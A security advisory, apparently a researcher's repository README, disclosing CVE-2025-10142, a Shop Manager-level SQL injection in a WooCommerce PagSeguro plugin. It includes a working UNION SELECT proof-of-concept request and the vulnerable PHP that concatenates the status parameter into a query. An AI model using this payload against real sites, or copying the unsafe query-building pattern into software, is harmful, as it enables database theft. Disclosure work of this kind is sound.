
Disclosure for CVE-2025-10142
Disclosure for CVE-2025-10142
This repository discloses a vulnerability discovered in PagSeguro-Connect-para-WooCommerce <= 4.44.3,WordPress plugin developed by Ricardo Martins.
| CVE ID | Type | Component | Impact |
|---|---|---|---|
| CVE-2025-10142 | Authenticated (Shop Manager+) SQL Injection | src/Connect/Recurring/Admin/Subscriptions/SubscriptionList.php | Authenticated attacker can exfiltrate data |
GET /wp-admin/admin.php?page=rm-pagbank-subscriptions&status=' UNION SELECT CAST(version() AS CHAR),2,3,4,5,6,7,8,9,10,11,12,13,14,15 -- -
The status parameter is directly concatenated into a SQL query without escaping or using $wpdb->prepare()
if (!empty($_REQUEST['status'])) {
$status = sanitize_text_field(wp_unslash($_REQUEST['status']));
$where .= " AND status = '$status'";
}
$this->items = $wpdb->get_results(
$wpdb->prepare(
"SELECT * FROM {$wpdb->prefix}pagbank_recurring WHERE $where ORDER BY $orderby $order LIMIT %d OFFSET %d",
$per_page,
($current_page - 1) * $per_page
),
ARRAY_A
);
...
ShopManagerから攻撃可能であるため、脅威はかなり低い。 外部入力を$whereに入れ、その$whereをそのままSQL構文に仕込むという処理を追うのが少し大変だった。
Name: MooseLove
Role: Independent security researcher / bug hunter
Contact: Available upon request
This advisory is provided for public security awareness. Free to share with attribution.